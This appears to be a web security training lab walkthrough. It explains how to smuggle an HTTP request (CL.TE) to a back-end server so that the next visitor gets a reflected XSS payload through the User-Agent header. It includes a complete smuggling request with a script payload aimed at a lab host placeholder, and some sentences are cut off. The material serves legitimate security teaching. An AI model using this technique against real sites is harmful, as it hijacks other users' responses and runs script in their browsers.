Lab: Exploiting HTTP request smuggling to deliver reflected XSS
This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.
The application is also vulnerable to reflected XSS via the
To solve the lab, smuggle a request to the back-end server that causes the next user's request to receive a response containing an XSS exploit that executes
The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user's request occurs as required.
Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.
- Visit a blog post, and send the request to Burp Repeater.
Observe that the comment form contains your
User-Agentheader in a hidden input.
Inject an XSS payload into the
User-Agentheader and observe that it gets reflected:
Smuggle this XSS request to the back-end server, so that it exploits the next visitor:
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 150 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: a"/><script>alert(1)</script> Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1
Note that the target user only browses the website intermittently so you may need to repeat this attack a few times before it's successful.